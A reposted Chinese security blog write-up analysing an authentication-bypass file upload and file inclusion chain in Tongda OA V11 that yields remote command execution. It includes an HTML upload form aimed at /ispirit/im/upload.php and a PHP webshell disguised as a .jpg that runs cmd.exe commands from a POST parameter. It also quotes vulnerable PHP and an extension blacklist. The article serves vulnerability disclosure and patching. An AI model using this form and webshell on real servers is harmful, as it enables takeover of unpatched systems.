通达OA任意文件上传/文件包含GetShell

2020-03-30 约 361 字 预计阅读 2 分钟

声明:本文 【通达OA任意文件上传/文件包含GetShell】 由作者 li9hu 于 2020-03-30 09:55:44 首发 先知社区 曾经 浏览数 116 次

感谢 li9hu 的辛苦付出!

0x01 漏洞描述

通过绕过身份认证, 攻击者可上传任意文件,配合文件包含即可出发远程恶意代码执行。

0x02 影响版本

V11
2017
2106
2105
2013

0x03 环境搭建

下载通达V11 密码enqx

使用解密工具对文件解密可获得所有解密代码

用于分析, 解密后的部分代码

将通达V11下载后直接运行EXE文件安装,访问localhost即可。

0x04 漏洞分析

下载官方公布的补丁, 可以看到V11版本更新两个文件[upload.php, gateway.php]。

文件位置/ispirit/im/upload.php。对比补丁upload.php主要是修复了任意文件上传,修复前可以自己POST变量$P绕过身份认证。

往下走遇到$DEST_UID 同样也可以通过POST的方式自行赋值。

$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
    $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
    echo json_encode(data2utf8($dataBack));
    exit();
}

接着到了判断文件的点,此处可以知道文件上传的变量名为ATTACHMENT,后边可以自己写一个文件上传的脚本上传文件。然后我们继续跟进upload函数。

if (1 <= count($_FILES)) {
    if ($UPLOAD_MODE == "1") {
        if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
            $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
        }
    }

    $ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

跳转到文件inc/utility_file.php。 对上传的文件进行了一系列的检查,包括黑名单等限制, 那么我们上传jpg格式的php代码,然后文件包含即可。

if (!is_uploadable($ATTACH_NAME)) {
                $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
            }
## 黑名单
$UPLOAD_FORBIDDEN_TYPE = "php,php3,php4,php5,phpt,jsp,asp,aspx,"";

到此,我们通过文件上传脚本即可成功上传文件(脚本在后面),文件位置在/attach/in/2003不再网站目录里,并且文件名前面有随机数,而默认的上传方式不会回显文件名。我们继续往下找利用点。

upload.php文尾的几个MODE方法可以看到有带文件名输出的点。倒数第二行输出的databack里有CONTENT,而CONTENT则包含了文件名。这里我们需要将UPLOAD_MODEMSG_CATE赋值才行,但是通过全局搜索并没有发现可控变量。于是查看包含进来的文件发现了一处变量覆盖的点。

if ($UPLOAD_MODE == "1") {
    ......
    ......
    if ($MSG_CATE == "file") {
        $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
    }
    else 
    ......
    ......
    $dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
    echo json_encode(data2utf8($dataBack));
    exit();
}

upload.php头部包含进来的文件,跟进后有一处包含了common.inc.php,此文件为公共文件且有变量覆盖的风险,估计很多文件都包含了,感觉可以挖掘更多利用点。

if (0 < count($_POST)) {
    $arr_html_fields = array();

    foreach ($_POST as $s_key => $s_value ) {
        if (substr($s_key, 0, 7) == "_SERVER") {
            continue;
        }文件名

        if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
            if (!is_array($s_value)) {
                $_POST[$s_key] = addslashes(strip_tags($s_value));
            }

            $s_key = $_POST[$s_key];

那么我们构造上传的脚本和恶意文件,并且通过上述位置能回显出文件名。

<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post"  enctype="multipart/form-data">
<input  type="text"name='P' value = 1  ></input>
<input  type="text"name='MSG_CATE' value = 'file'></input>
<input  type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
<?php
//保存为jpg
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");  
$stdout = $exec->StdOut();  
$stroutput = $stdout->ReadAll();  
echo $stroutput;
?>

现在我们可以知道上传的文件名是什么了,接着就是找文件包含的点了。

同样补丁文件也修改了ispirit/interface/gateway.php,我们直接查看该文件,在最后可以看到有一处文件包含,满足一定条件可以把url包含进来。

if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key => $val ) {
        if ($key == "data") {
            $val = (array) $val;
            foreach ($val as $keys => $value ) {
                $keys = $value;
            }
        }
        if ($key == "url") {
            $url = $val;
        }
    }
    if ($url != "") {
        if (substr($url, 0, 1) == "/") {...}
        if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
            include_once $url;
        }
    }
    exit();
}

利用变量覆盖可以给json赋值,指定keyurlvalue为恶意文件位置就行。

0x05 修复方案

更新官方发布的补丁

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now